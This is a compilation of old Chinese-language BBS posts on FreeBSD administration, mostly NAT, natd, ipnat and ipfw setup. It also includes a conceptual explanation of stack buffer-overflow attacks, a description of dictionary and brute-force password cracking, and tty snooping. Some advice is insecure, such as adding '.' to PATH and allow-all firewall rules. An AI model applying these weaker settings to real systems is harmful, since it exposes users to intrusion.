說文解字: 何謂 buffer overflow
如何確定我抓的ISO檔是正確的!
請問 ./
被駭客入侵
請問一個監控問題
請教有關SNP的問題
請問要如何檢視USER的密碼呢
natd轉址服務還是失敗!!...
NAT + DHCP SERVER
natd轉址服務還是失敗!!...
natd下的PC能跑battle.net and netmeeting嗎?..
在 NAT + FIREWALL 下如何做 IP 對應
natd問題...
擋telnet??
freebsd 上的NAT轉換一問????
NAT進階的功能如何運用???
請問 NAT 的 redirect 問題...
natd的迷思...請前輩解惑!!!
test nat fail
嗯，系統好像被 crack 了...
4.2-RELEASE的NAT做法是不是改變了丫??
IPFW把我的觀念搞亂了
說文解字: 何謂 buffer overflow
--------------------------------------------------------------------------------
作者: tmg (海邊漂來的..海嘯) 看板: SobVersion
標題: 說文解字: 何謂 buffer overflow
時間: Wed Nov 13 20:50:24 1996
唉....... buffer overflow 這個洞, 大概是最難防備的一個洞,
因為這個洞發生的原因純粹是因為程式的 bug,
而這種 bug 你我三不五時就會犯這種錯, 非常難以在 coding 時就加以防備。
要防止這種洞, 只有非常小心仔細檢查 code........
這種洞, 顧名思義, 就是利用 buffer overflow 的原理達成目的的......
比如, 一個陣列只有 100 bytes, 但我餵給它 200 bytes 的資料,
於是這個陣列裝不下這些資料, 造成了 overflow......
為什麼 overflow 會有 security hole 呢?
首先, overflow 發生時, 多出來的資料會蓋到其它變數上,
相信這一點大家早就知道了。
問題是, 為什麼資料蓋到其它變數上時, 頂多使程式執行錯誤,
會嚴重到出現 security 的問題嗎? 這時, 好玩的事情就發生了.......
當我們呼叫一個 function 時, 以組合語言的觀點,
會將 return address 堆入 stack 中。
如果這個 function 宣告了一些 local 變數,
那進入這個 function 之後, 會在 stack 中再空出一塊區域給這些 local 變數,
當要從這個 function return 回去時, 就把這些在 stack 中的 local 變數清掉。
現在好了, buffer overflow security hole 就是在這裡發生了.......
如果有某個 function 宣告了一個 local array, 如:
int func() {
int i, j, k;
char buf[16];
struct abc *x, *y, *z;
.
.
.
}
這時, 當這個 function 被呼叫時, stack 中的長像就像:
+-----------------------+
current stack pointer ----> | (other variable) |
+-----------------------+
| buf (16 bytes) |
+-----------------------+
| (other variable) |
+-----------------------+
| some system data |
+-----------------------+
| return address of |
| this function |
+-----------------------+
| (other data in stack) |
| . |
| . |
| . |
嗯..... 這樣就很明顯了, 如果在這個 function 內有了 bug, 忘記去控制
資料餵給 buf 的長度, 那..... 當我資料餵長一點, 就可以蓋到這個
function 的 return address 了..........
這時, 我在餵資料給 buf 時, 順便將要執行的機器碼餵進去,
當餵到 function 的 return address 時, 就把 return address
指到自己所餵進去的 code 上......
這時, function 執行完畢, 要 return 時, 嘿嘿嘿,
它就不會 return 到原來呼叫它的地方, 而會 "return" 到我所餵進去的那些 code...
這時, 就可以為所欲為了....... 看我高興愛怎麼做就怎麼做了..........
這實在有點可怕, 因為這種洞純粹是程式發展者的 "疏乎",
不管系統管理再完善, 一但使用了這種程式, 就等於開了一個洞.......
有這種洞的程式還不少, 比如早期的 fingerd, sendmail 8.6.xxx, Xt...... 等.....
遇上這問題, 除了趕快找新版程式回來 compile 外,
還要祈禱在你發現這個洞之前沒有 hacker 來鑽過這個洞........
.
如何確定我抓的ISO檔是正確的!
--------------------------------------------------------------------------------
※ 引述《chuyow@ms24.hinet.net (chuyow)》之銘言：
> 近日剛從freebsd.csie.nctu.edu.tw抓了4.0-install.iso,在相同目錄裏還有一個
> checksum.md5,請問我要如何去做驗證的工作!
> Freebsd新手
使用 md5 去 check 假如 md5 4.0-install.iso 跟 checksum 一樣的話代表檔案沒有錯
--
[1;32m※ Origin: [33m網路邊攤 [37m[linux.twbbs.org] [m
[1;31m◆ From: [36mcnpa-1.admin.yzu.edu.tw[m
請問 ./
--------------------------------------------------------------------------------
※ 引述《chiueh.bbs@bbs.cs.nthu.edu.tw (hahahhaa)》之銘言：
> 我剛裝好Freebsd,Maplebbs
> 但我發現只要是執行檔錢都要加./才能執行
> 誰可以教我把這個現象去除!!
> please!!
這是 security 上的顧慮，如果你真的想要這樣做的話，在你的 .cshrc 或是
相關的檔案裡面放入：
set path = ($path . )
--
莫聽穿林打葉聲，何妨吟嘯且徐行。
竹杖芒鞋輕勝馬，誰怕？一蓑煙雨任平生。
料峭春風吹酒醒，微冷。山頭斜照卻相迎。
回首向來蕭瑟處，歸去，也無風雨也無晴。
─蘇東坡「定風波，遇雨後晴」
--
※ Origin: 小鹿鹿 (Deer.abpe.org) From: infomath.math.nctu.edu.tw
被駭客入侵
--------------------------------------------------------------------------------
On Fri, Jun 09, 2000 at 04:00:32AM +0000, tsguu@ms1.hinet.net wrote:
> 我們的網頁幾天前被某位駭客入侵了，不過他只是換掉首頁，並沒有做其他的事。
> 我們的主機是486DX-50,32Mb，系統是FreeBSD 2.2.8 stable，我不想換系統
> 成3.x或4.x。請問要注意哪些事?
netstat -afinet | grep LISTEN
看看有多少個, 把不須要的關了吧 ..
(ㄟ, 結果就不用貼到版上了)
or, 如果只是拿來做 web server, 不仿只留 httpd 和 sshd。
sshd 不要全部開放, 而要只給某些機器能夠 login。
如果您時間很多, 或許可以參考看看劣者很久以前譯的文章:
http://water.ite.ntnu.edu.tw/doc/cfbhow2.txt
--
CirX - This site doesnt' exist.
9c k9o h9 s1bg s1f, 7v .y xqx a sj m8r ffg1 vg5 a6 asox tmul h38.
ant sj m8r ob ? 1fj mwby a1 tao vg5. soq df v' .a. CirX.
請問一個監控問題
--------------------------------------------------------------------------------
《 在 skyo.bbs@mis.mgt.ncu.edu.tw (^-^Y) 的大作中提到: 》
: ※ 引述《charme.bbs@bbs.cs.nthu.edu.tw (Dangerous)》之銘言：
: : 假使系統糟入侵
: : 我們如何去紀錄下入侵者做過那些事,動過那些檔案呢?
: : 又如果我系統管理者剛好在線上
: : 不kill掉入侵者的process,如何追蹤入侵者目前在做什麼事呢?
: 將 rc.conf 加一行 accounting_enable="YES"，你就可以用 lastcomm
: 看所有人用過的指令。
: 用 tty snoop 可做到追蹤入侵者目前在做什麼事。
: 方法是：
: 1. 在 kernel 設定加入
: pseudo-device snp 3 #Snoop device - to look at pty/vty/etc..
: 並重裝 kernel。
: 2. 在 /dev 下 ./MAKEDEV snp3
: 3. 再來就可以用 watch 指令監視了，e.g. watch ttyp2。
: 呃...我照做後..也編完 kernel 後重開機了....
: watch ttyp0 還是會出現 watch: fatal: cannot open snoop device
# cd /dev
# ./MAKEDEV snp0 snp1 snp2
man watch
(control-G)
Exit watch.
(control-W)
Clear screen.
(control-X)
Change attached tty.
--
[m[1;33m※ 來源:•蛋捲廣場 bbs.tku.edu.tw•[FROM: 163.13.240.20][m
請教有關SNP的問題
--------------------------------------------------------------------------------
On Sun, Jun 25, 2000 at 05:28:17PM +0000, 天上飛的 wrote:
>
> 我在snp0.91的安裝設明裡面的etc-example/services看到這一段...
> 我覺得有些怪怪的說...
> 我看過我的/usr/local/libexec/裡面
> 沒有tcpd耶....
嗯, 把 /usr/local/libexec/tcpd 幹掉.. 像是 vi[m] 就
:%s,/usr/local/libexec/tcpd,,g
> 是不是就是因為這樣，每當ptelnet連進來時就會造成斷線的主要原因呢?
> 是我BSD版本的問題嗎?
> 又，不知道該怎麼解決...
請 csie.nctu 直接 -lwrap ?
這樣子就可以直接利用 /etc/hosts.allow 了...
> 謝謝!
> FreeBSD 3.4 Release
>
> ptelnet stream tcp nowait root /usr/local/libexec/tcpd
/usr/local/snp/libexec/ptelnetd
> prlogin stream tcp nowait root /usr/local/libexec/tcpd
/usr/local/snp/libexec/prlogind
> pftp stream tcp nowait root /usr/local/libexec/tcpd
/usr/local/snp/libexec/pftpd
> ppasswd stream tcp nowait root /usr/local/libexec/tcpd
/usr/local/snp/libexec/ppwdd
>
--
CirX - This site doesnt' exist.
9c k9o h9 s1bg s1f, 7v .y xqx a sj m8r ffg1 vg5 a6 asox tmul h38.
ant sj m8r ob ? 1fj mwby a1 tao vg5. soq df v' .a. CirX.
請問要如何檢視USER的密碼呢
--------------------------------------------------------------------------------
轉出 (slime.bbs@tropic.med.kmu.edu.tw) wrote in message
news:3b9OPM$WqB@tropic.med.kmu.edu.tw...
> ※ 引述《adimit.bbs@bbs.cs.nthu.edu.tw (Comealittlecloser)》之銘言：
> : 印象中不是可以選擇是否對密碼進行遮罩嗎?
> : 只要是root就有權限看所有的了吧? ^^;
> 您是說 shadow 嗎?
> 沒安裝 shadow 是放 /etc/passwd ,
> 安裝 shadow 改放 /etc/shadow ,
> 可是不管放哪....都是"編碼後的"密碼.
> 就算能看到也很難反推.
雖然 Linux 的密碼是用 one-way hash 的方式來加密密碼﹐
這樣用反推的方法是很難啦。
但您可以逐一輸入密碼﹐然後看加密後的結果是否和檔案上的一致﹐也就知道是否原密
碼了。
這種方法﹐就是著名的字典破解法和暴力破解法。
所以﹐設定一個強韌難猜的密碼在安全上非常重要﹕
1﹐密碼長度最好長些
(在MS Windows 中的密碼長度﹐要麼是 7 要麼是 14 。這是有原因的﹕因為 MS
Windows 的密碼加密因考慮到以往系統的兼容性﹐所以還保留著 LanMAN 時代的加密方
法﹐也就是用 7 個字元為單位﹐如果不夠長﹐則在後面補 0 (還是其它什麼數字的﹐
忘了)。如果超過 7 ﹐則再使用弟二個單位。這樣﹐補充的部份都很容易破解(因為它
們是連續字元的關係)﹐而一個單元中剩下的部份長度就有限了﹐要破解它相對也比較
容易。如果從第二個單元中猜到的密碼是﹕FT01﹐那麼試試用 MICROSO 猜第一個單元
相信就很容易了。)
2﹐不要用現成單詞來做密碼﹐剛才的例子就是極好的方面教材。
3﹐密碼最好包括大寫和小寫字母､數字､和符號的組合。
4﹐定期更換密碼。
5﹐不要重複使用以往的密碼。
那麼﹐朋友們或許覺得密碼很容易忘記。
解決方法是使用一些自己知道﹐別人難猜的名字和數字做“種子”﹐通過變形的方式來
做密碼。
比如﹐您可以用您男朋友或女朋友的名字﹐再加上他的生日或第一次相遇日期來做種
子﹐然後將他名字的第二或第三個字母去掉﹐將最後一個字母做大寫﹐再加上一個比較
少用的符號(如 ^､>､[､等等) ﹐然後再把那些數字接在後面。這樣就成了一個很難
猜的密碼了﹐而且對您來說卻是不容易忘記的。當然﹐除了男女朋友外﹐您也可以用父
母､子女､寵物等名字來做密碼的種子。
還有﹐我發現用機車或汽車的車牌做密碼也不錯啦﹐將其中一個英文字母改成小寫就已
經符號公司的要求了。如果再龜毛一點﹐把那些字母和數字按排列順序往後加1或2也是
個不錯的注意。例如﹐您的機車號碼是 LU-5240﹐您可以將之改成 mV-6351﹐就是一個
“勉強(因為數字太多)”合符要求的密碼了。
方法很多啦﹐自己容易記﹐別人難猜就行。不要以為“QWERTY6789” 這種連續按鍵組
合﹐或是將自己的名字倒過來寫﹐是個好主意哦﹐老到的破解者一早就洞悉這種伎倆
了。
--
======= http://go.to/study-area =======
飛雪迎春到﹐風雨送春歸
已是寒崖百丈冰﹐尤有花枝俏
俏也不爭春﹐只把春來報
待得山花爛漫時﹐他在叢中笑﹗
natd轉址服務還是失敗!!...
--------------------------------------------------------------------------------
Frank Millers (fjj.bbs@vlsi1.iie.ncku.edu.tw) wrote:
> 對外部分ed0:為1.2.3.4
> 對內部分ed1:為192.168.1.1
> 內部有設定Natd server,並設有DNS Server
> 目前全公司都以此台FreeBSD充當 Gateway上網順利....
> 之前,公司採用ISp所提供的虛擬主機....當web server
> 目前公司欲拉回至內部自行架設web server
> 於是重新加了一台Windows 2000+IIS 5.0 IP位置是192.168.1.2 ,
> Gateway 設定192.168.1.1(也就是FreeBSD那台)
> 小弟的/etc/rc.firewall以遵照前輩的指示改正了!!...
> 另外.natd卻不知道指令該怎麼下??..
1. ipfw rule 中除了 divert 以外，先不要有任何其他的 rule，比方說:
0000 divert 8668 ip from any to any via ed0
0100 allow ip from any to any
這樣可以排除 ipfw rule 沒設好的情況
2. 手動執行 /sbin/natd -interface ed0 -log -v -same_ports
-redirect_port tcp 192.168.1.2:80 80
這時候 natd 會在前景執行，並會列出所有的轉址動作，仔細看看
針對 port 80 的動作
3. 試著從外面 telnet 1.2.3.4 80 看看，要是不行的話，看看
a) natd 是否有正確的幫你把 x.x.x.x:port->1.2.3.4:80 換成
x.x.x.x:port->192.168.1.2:80
b) 如果有的話，找一台區網中的 UNIX 用 tcpdump port 80
看一下 192.168.1.2 是否有正確回應封包，例如：
x.x.x.x:4321->192.168.1.2:80
192.168.1.2:80->x.x.x.x:4321
c) 要注意 192.168.1.2 回應封包也要經由 1.2.3.4，否則可能
會變成這樣：
x.x.x.x:4321->192.168.1.2:80 (經由 1.2.3.4 來的)
192.168.1.2:80->x.x.x.x:5678 (不經由 1.2.3.4 送回)
這時候 x.x.x.x 會覺得奇怪，明明由 port 4321 送出，為何有
莫名其妙的封包跑到沒有程式接收的 port 5678，那就會被丟掉
--
李 建 達 (Jian-Da Li) !(交大資工)
E-Mail : (jdli@csie.nctu.edu.tw)
http://jdli.tw.freebsd.org/
NAT + DHCP SERVER
--------------------------------------------------------------------------------
※ 引述《right.bbs@right.dorm-gd2.nctu.edu.tw (快樂陽光老地方對先生)》之銘言：
> ※ 引述《Capacitor.bbs@openbazaar.net (∼)》之銘言：
> : dhcp + nat 沒問題, 我就是這樣做的...
> 我的natd跟dhcp分開都可以跑
> 問題是該怎樣讓兩個一起跑？
那就一起執行就好了呀!
記得 natd 最好比 dhcpd 早執行比較好...
我之前是 dhclient + natd + dhcpd 配合 Cable ...
--
[1;32m※ Origin: [33m網路邊攤 [37m(linux.twbbs.org) [m
[1;31m◆ From: [36mms6.hinet.net[m
natd轉址服務還是失敗!!...
--------------------------------------------------------------------------------
※ 引述《fjj.bbs@vlsi1.iie.ncku.edu.tw (Frank Millers)》之銘言：
: 建達前輩:
: 首先先感激您的回信,小弟遵照您的方法.....可是卻還是無法轉IP...
: 於是乎...再次請教前輩....
: 並且將我的環境一並敘述於下!!....
: 小弟的公司向中華電信申請了128K專線...所分配到的IP位置如下
: 1.2.3.XXX共255組IP可用...Net mask是255.255.255.0
: 內部IP採192.168.1.XXX共255組 Netmask 是255.255.255.0
: 其中Router為IBM console設定...
: LAN部分;架設一部FreeBSD上面裝設兩張 D-Link DE220網卡兩張...
: 對外部分ed0:為1.2.3.4
: 對內部分ed1:為192.168.1.1
: 內部有設定Natd server,並設有DNS Server
: 目前全公司都以此台FreeBSD充當 Gateway上網順利....
: 之前,公司採用ISp所提供的虛擬主機....當web server
: 目前公司欲拉回至內部自行架設web server
: 於是重新加了一台Windows 2000+IIS 5.0 IP位置是192.168.1.2 ,
: Gateway 設定192.168.1.1(也就是FreeBSD那台)
: 小弟的/etc/rc.firewall以遵照前輩的指示改正了!!...
: 另外.natd卻不知道指令該怎麼下??..
: 所以想請教前輩....望前輩能給小弟指點一.二...
: 再次感激您的協助.....
natd好久沒用了 不彷換ipfilter的ipnat來轉 簡單明瞭 語法易懂 :)
1. kernel加入
options IPFILTER #ipfilter support
options IPFILTER_LOG #ipfilter logging
由於是bind在kernel內 所以不用怕daemon掛點
2. /etc/rc.conf加入
gateway_enable="YES" # Set to YES if this host will be a gateway.
3. 產生ipnat的設定檔 /etc/ipnat.conf
# 把外部要到ed0網路給1.2.3.4:80的封包 轉給 192.168.1.2:80
rdr ed0 1.2.3.4 port www -> 192.168.1.2 port www
# 把內部192.168.1.0/24的封包對應到1.2.3.4/32 外面才看得懂
map ed0 192.168.1.0/24 -> 1.2.3.4/32
# 或者 map ed0 192.168.1.0/24 -> 1.2.3.4/32 portmap tcp 10000:20000
4. 如果我沒疑漏的話，最後執行 ipnat -CF -f /etc/ipnat.conf 應該就ok囉
PS: 內部要ftp的話 要用PASV MODE
以上是最簡單的狀況 只有讓一臺轉出去"而已" :P
要善用外部1個CLASS C的IP 可以利用ip alias的方式
/etc/rc.conf 加入
ifconfig_ed0_alias0="inet 1.2.3.1 netmask 0xffffffff"
ifconfig_ed0_alias1="inet 1.2.3.2 netmask 0xffffffff"
...
MAIL Server 收信
/etc/ipnat.conf
# 將內部 192.168.1.3 換成 1.2.3.1 來收信
rdr ed0 1.2.3.1/32 port smtp -> 192.168.1.3 port smtp
FTP Server
# 將內部 192.168.1.4 換成 1.2.3.2 開放FTP
rdr ed0 1.2.3.2/32 port 21 -> 192.168.123.4 port 21
.. 餘此類推 愛怎麼轉就可以怎麼轉 :p
改設定後 只要再執行一次 ipnat -CF -f /etc/ipnat.conf 就好了
不過跟ipfw一樣要注意先後順序一樣是first win
另外也可以配合squid 做transparent proxy來開源節流 節省頻寬 :)
squid.conf加入
httpd_accel_host virtual
httpd_accel_port 80
httpd_accel_with_proxy on
httpd_accel_uses_host_header on
# PS. 這樣就不能跑 www 了
## TransParent Proxy
rdr ed1 0.0.0.0/0 port www -> 127.0.0.1 port 3128
另外如果內部電腦很多的話 建議將edX的網路卡 換成fxpX的 會穩很多
參考資料:
指令用法 -> man ipnat
設定檔 -> man 5 ipnat
作者網站
http://coombs.anu.edu.au/~avalon/ip-filter.html
更多的範例
http://coombs.anu.edu.au/~avalon/examples.html#NAT
若遇到問題 請在板上討論 請勿回給這個信箱 這是專門用來灌水及收廣告信用的 :Q
Copyright (C) 2000 , By Yi-Hsiang Lin, All Right Reserved.
--
從今天起 你不再擁有各人特色 不得招引旁人注目 當你現身時 遇見你的人都不復記憶
你是傳言中 似曾相識的人物 晃眼即逝 你不存在 從未出生
匿名是你的名字 緘默是你的語言 你已不是社會的一份子 你超越了 最高的階層
我們是"他們" 我們是"上級" 我們是黑衣人
--
[1;36m※ Post by [37mtest [36mfrom [33mFree.NHCTC.edu.tw ...[m
natd下的PC能跑battle.net and netmeeting嗎?..
--------------------------------------------------------------------------------
※ 引述《mchang@3tec.com (Mike Chang)》之銘言：
> 你可以啟用 Samba 的 WINS 支援，然後在所有的工作站將
> WINS Server 設到你 FreeBSD 的 IP 就可以。smb.conf 應該要有：
> interfaces = 192.168.1.0/24 192.168.2.0/24
> wins support = yes
> wins proxy = yes # making some old systems happy
> 在視窗工作站到控制台的網路設定裡將 192.168.1.1﹝example﹞
> 加入 WINS 搜尋次序中就可以了。
> NetBIOS 雖可以透過 TCP/IP﹝NetBIOS over TCP/IP，簡稱 NetBT 或 NBT﹞
> 過不同的網域，但由於 NBT 用 broadcast 的方式來搜尋 hosts，因此在
> 大型的網路並不合適，而且絕大部份的路由器都會將 NetBIOS 的封包擋
> 掉來減低不必要的頻寬浪費。
:真是感謝你的指導.....:)...
:大恩不言謝....可以在請教最後一個問題嗎?...
:那..IPX的協定是否也有辦法透過Freebsd來送??
在 kernel 裡加入：
options IPX
在 /etc/defaults/rc.conf 裡啟動：
ifconfig_fxp0_ipx="ipx 0x101"
ifconfig_fxp1_ipx="ipx 0x102"
ipxgateway_enable="YES"
ipxrouted_enable="YES"
ipxrouted_flags=""
就可以了。
值得一提的是，在 FreeBSD 3.x 家族裡，ipxrouted 只能支援 Ethernet_II
的 frame type，不過 FreeBSD-3.4 有個 patch 可以讓 Ethernet_802.2、
Ethernet_802.3 的 frame type 在 ipxrouted 下做轉送。FreeBSD-4.0 以上
版本的 ipxrouted 都有支援這些 frame types。
--
[1;32m※ Origin: [33m雲淡風清 [37m(bbs.au.edu.tw) [m
[1;31m◆ From: [36m211.75.7.180[m
在 NAT + FIREWALL 下如何做 IP 對應
--------------------------------------------------------------------------------
試看看這樣做:
/etc/rc.conf
ifconfig _rl0="inet 140.113.10.x netmask 255.255.255.0"
ifconfig_rl0_alias0="inet 140.113.10.1 netmask 255.255.255.0"
ifconfig_rl0_alias1="inet 140.113.10.2 netmask 255.255.255.0"
ifconfig_rl1="inet 192.168.1.254 netmask 255.255.255.0"
firewall_enable="YES"
firewall_type="OPEN" <-如 kernel 以有 ipfirewall_default_to accept可免
natd_enable="NO"
/etc/natd.conf
use_sockets
unregistered_only
redirect_address 192.168.1.1 140.113.10.1
redirect_address 192.168.1.2 140.113.10.2
/etc/rc.local
/sbin/route change -host 140.113.10.1 192.168.1.254
/sbin/route change -host 140.113.10.2 192.168.1.254
/sbin/ipfw add 1 divert natd ip from any to any via 140.113.10.x
/sbin/ipfw add 2 divert natd ip from any to any
/sbin/ipfw add 3 divert natd ip from any to any via 192.168.1.1
/sbin/ipfw add 4 divert natd ip from any to any via 192.168.1.2
/sbin/natd -a 140.113.10.x -f /etc/natd.conf
restart your host and enjoy !!
yyriver (lobin@mail2000.com.tw) wrote in message
news:8pdj12$2qrh$1@ftp.ntu.edu.tw...
> FREEBSD 4.1R 已經完成 nat 和 firewall 的設定
> 如果想讓 分配真實 ip 對應到虛擬 ip，請問該如何做
> 如
> 140.113.10.1 --> 192.168.1.1
> 140.113.10.2 --> 192.168.1.2
>
>
>
natd問題...
--------------------------------------------------------------------------------
On Thu, Sep 28, 2000 at 06:29:48PM +0000, Over Time wrote:
> 只能telnet到192.168.1.254(我設的gateway)再連出去...
> 但是不能連到外面的機器上...
> 執行ipfw -a show結果
> 65000 797 141116 divert 8668 ip from any to any via ed0
> 65100 2048 312263 allow ip from any to any
> 65535 11 1040 deny ip from any to any
> 執行netstat -nr
> Destination Gateway Flags Refs Use Netif Expire
> default 210.244.71.254 UGSc 4 8 ed0
> 127.0.0.1 127.0.0.1 UH 0 2 lo0
> 192.168.1 link#1 UC 0 0 vr0
> 192.168.1.1 0:80:c8:c2:6b:ff UHLW 3 692 vr0 787
> 210.244.70/23 link#2 UC 0 0 ed0
> 210.244.70.106 0:80:c8:10:ee:7f UHLW 0 426 ed0 82
> 210.244.71.254 0:d0:58:26:a8:54 UHLW 5 0 ed0 1199
>
> 幫我看一下問題出在哪吧...謝謝...
sysctl -a | grep net.inet.ip.forwarding
是出現 1 or 0 ?
--
CirX - This site doesnt' exist.
9c k9o h9 s1bg s1f, 7v .y xqx a sj m8r ffg1 vg5 a6 asox tmul h38 .
ant sj m8r ob ? 1fj mwby a1 tao vg5. soq df v ' .a. CirX.
擋telnet??
--------------------------------------------------------------------------------
【 在 lucy.bbs@bbs.csie.nctu.edu.tw (小白癡) 的大作中提到: 】
: ※ 引述《yuppie.bbs@bbs.ee.ncu.edu.tw (不喜歡失望罷了)》之銘言：
: > man inetd，使用 -Ww option 就可以做到 tcp_wrapper 的功能。
: > 換句話說，FreeBSD 4.X 已經內建 tcp_wrapper 於 inetd 裡頭了。
: > 除非你機器的 telnet 不讓 inetd 來處理，不然一定可以用。
: > 直接寫 /etc/hosts.allow 就好了，inetd 重跑一下較保險。
: > Of course you can use ssh to modify /etc/hosts.allow
: > if you have the root authority.
: 我的/etc/hosts.allow(hosts.deny) 完全沒有更動
: 但是當我在/etc/rc.conf
: 更改inetd_flag="-l -R -w -W 1024"
您的參數順序有問題啊...
試試看 inetd_flag="-lwW -R 1024"
: reboot後,就不能從遠端登入ㄌ
: 我跑到主機前把" -w -W "參數去掉才能遠端登入...><
: 不會設定/etc/hosts.allow ><
vi hosts.allow add
sshd : ALL : allow
sshdfwd-X11 : ALL : allow
> ps -aux | grep "inetd"
root 118 0.0 0.3 1056 712 ?? Ss 1:00AM 0:00.01 inetd -lwW -R 1024
--
freebsd 上的NAT轉換一問????
--------------------------------------------------------------------------------
【 在 khchen1. 的大作中提到: 】
: 請問各位大哥..
: 在網路上那裏有關於架nat轉換的相關說明文件呀...
: 煩請各位告訴小弟..
: 謝謝大家.
0.我有兩台電腦,一個ip,adsl
一台電腦當gateway 插兩塊網路卡(ed0 ed1)
一張對外(163.13.97.44) 一張對內(192.168.0.1)
對內的網路卡用RJ45對接
1./etc/rc.conf
saver="fire"
blanktime="300"
keyrate="fast"
network_interfaces="ed1 ed0 lo0"
ifconfig_ed0="inet 163.13.97.44 netmask 255.255.255.0"
ifconfig_ed1="inet 192.168.0.1 netmask 255.255.255.0"
defaultrouter="163.13.97.254"
hostname="ggg.test.tku.edu.tw"
gateway_enable="YES"
firewall_enable="YES"
natd_program="/sbin/natd"
natd_enable="YES"
natd_interface="ed0"
ps.當只有一張網路卡時
ifconfig_ed0="inet 163.13.97.44 netmask 255.255.255.0"
ifconfig_ed0_alias0="inet 192.168.0.1 netmask 255.255.255.0"
~~~~~
不曉得有沒有spell錯~
2./etc/rc.firewall
/sbin/ipfw -f flush
/sbin/ipfw add divert natd all from any to any via ed0
/sbin/ipfw add pass all from any to any
3.要編編核心啦
加入options IPFIREWALL
options IPDIVERT
4.網路卡與網路卡互接記得跳線喔
--
[m[1;31m※ 來源:•渡船頭之戀 bbs.im.tku.edu.tw•[FROM: 211.21.92.23][m
NAT進階的功能如何運用???
--------------------------------------------------------------------------------
《 在 seawolf.bbs@bbs.cs.nthu.edu.tw (海狼) 的大作中提到: 》
: ※ 引述《repsol.bbs@bbs.cs.nccu.edu.tw (小海於冷酷異境中)》之銘言：
: > 使用NAT功能時....可以使用三張網卡
: > 一張對內....Private IP...192.168.x.x
: > 兩張對外....對外的兩張網卡為不同class的 Public IP
: > 對外假設其中一張網卡代號為vr0....另1一張為vr1
: > 平常在對外的時候 ....只用其中一張對外的網卡(vr0)
: > 如果vr0掛掉....vr1能夠自動接手NAT的功能
: > 也就是說...client端無須做另外的更改gateway....
: > 就能改由vr1上網
: > 這樣的想法是否可行....如果可行...那又如何做設定
: > 感激不盡....thanks a lot
: 你是不是要做備援的功能呢??
: 當正常的專線斷了..馬上改走另一條專線丫??
: 我的想法是寫二個shell script
: 第一個是用vr0去ping vr1上的router
: 一但發現不通的時候就把natd interface改成vr1
: 並且開始跑第二個shell script 去ping vr0的router
: 直到通的時候再把nat interfaces改回來
: 不過我是在試著用撥接當備援...但是到現在還沒成功 ... >_<
這裡有寫好測過的script, 你可以試試看...
#!/bin/sh
gatewayP="163.13.1.254"
gatewayS="211.72.177.254"
# P = Primary , S = Secondary
active="P"
while [ 1 ]; do
response="`/sbin/ping -c 1 $gatewayP | grep from`"
# echo $active : $response
if [ "$response" ]; then
if [ "$active" = "S" ]; then
route delete -net 0.0.0.0
route add -net 0.0.0.0 -gateway $gatewayP
active="P"
fi
else
if [ "$active" = "P" ]; then
route delete -net 0.0.0.0
route add -net 0.0.0.0 -gateway $gatewayS
active="S"
fi
fi
sleep 1
done
--
這個是備援的觀念....我的想法是將一些services port轉到另一條專線(ex:80 port)
也就是將client端(虛擬ip端的要求)把他轉移到另一條專線出去(兩條專線為不同網段)
兩條不同網段的專線在同一台機器上...作natd的功能...分攤掉一些services port traffic流量...
不要讓traffic全部擠進一條專線
可是........這樣的設定....我不會 ..... :(
希望各位大大幫幫 忙....謝謝
[m[1;37m※ 來源:•蛋捲廣場 bbs.tku.edu.tw•[FROM: 163.13.91.163][m
請問 NAT 的 redirect 問題...
--------------------------------------------------------------------------------
※ 引述《SouthWind.bbs@bbs.cs.nthu.edu.tw (策略..)》之銘言：
: ※ 引述《jialin@bbs.ee.ntu.edu.tw (麟兒)》之銘言：
: > 1)在給一個ip當內部ip轉後後的位置...
: > 2)用不同port來轉..如8080<->80 原有80還可用...
: ------------------------------------------------------>>>
: 無理的請求,可否舉參數的實際例子...
: 我組合過幾種參數,似乎也沒有達到預期效果...
: 另,應該跟我的 public IP 是 DHCP 的 dynamic IP 沒有關係吧???
: 我有正確對應的 DN <-> IP ...
/etc/rc.conf
natd_flags="-f /etc/natd.conf"
/etc/natd.conf
redirect_port tcp server_ip:8080 local_server_ip:80
or(固定ip,另給一個可用ip)
/etc/rc.conf
ifconfig_vr0_alias0="inet 192.168.0.161 netmask 255.255.255.0"
.
.
.
nat_flags="-f /etc/natd.conf"
/etc/natd.conf
redirect_port tcp 192.168.0.161:80 local_server_ip:80
redirect_port tcp 192.168.0.161:25 local_smtp_ip:25
redirect_port tcp 192.168.0.161:110 local_pop3_ip:110
只列出natd部分...其他應該可以吧...
試試不行再mail...
--
[m※ Origin: 臺大電機 Maxwell 站 ◆ From: 139.223.87.135
natd的迷思...請前輩解惑!!!
--------------------------------------------------------------------------------
"海狼" (seawolf.bbs@bbs.cs.nthu.edu.tw) 撰寫於郵件
news:3dK9Te$tGs@bbs.cs.nthu.edu.tw...
> ※ 引述《clive@CirX.ORG (Clive Lin)》之銘言：
> 我換個方向問,在ICQ或是IRC client加上sokcet 4,這些非固定port的傳輸
> 就正常了,那麼socket 4 SERVER 要怎麼架呢??
http://beta.wsl.sinica.edu.tw/~ylchang/Security/Firewall/Socks5.html
以前寫的東西(socks5 v1.0r10), 修辭沒有很好, 加減看好了 :p
現在 nec-socks5 有新版 (v1.0r11) 的, source 與 patch 也放在
ftp://ftp.se.ntou.edu.tw/pub/UNIX/SOCKS5/ 下面.
------
test nat fail
--------------------------------------------------------------------------------
==> jamesHammer.bbs@bbs.cs.nthu.edu.tw (HUMAN.CPP DIE!!!!) 的文章中提到:
fxp0 :對外(Public)
fxp1 :對內
rc.firewall寫這四行就好了,其餘全部刪掉(注意ipfw的位置)
/sbin/ipfw -f flush
/sbin/ipfw add divert natd all from any to any via fxp0
/sbin/ipfw add pass all from any to any
/sbin/ipfw add 65534 allow all from any to any
從你的rc.conf得知這一行開機時就跑了
>$natd -interface fxp0
natd.conf 只寫下面一行(如果不需port redirect)
dynamic
改好不用reboot
執行natd -interface fxp0 就可以試了
>i has test my card .run fxp1 ping fxp0 can't ping .how can i do ??
>help!!!!
--
* Origin: 中山大學-美麗之島BBS * From: 211.20.155.138 [已通過認證]
--------------------------------------------------------------------------
※ 引述《chuwei.bbs@bbs.nsysu.edu.tw (主委)》之銘言：
: ==> jamesHammer.bbs@bbs.cs.nthu.edu.tw (HUMAN.CPP DIE!!!!) 的文章中提到:
: fxp0 :對外(Public)
: fxp1 :對內
: rc.firewall寫這四行就好了,其餘全部刪掉(注意ipfw的位置)
: /sbin/ipfw -f flush
: /sbin/ipfw add divert natd all from any to any via fxp0
: /sbin/ipfw add pass all from any to any
: /sbin/ipfw add 65534 allow all from any to any
: 從你的rc.conf得知這一行開機時就跑了
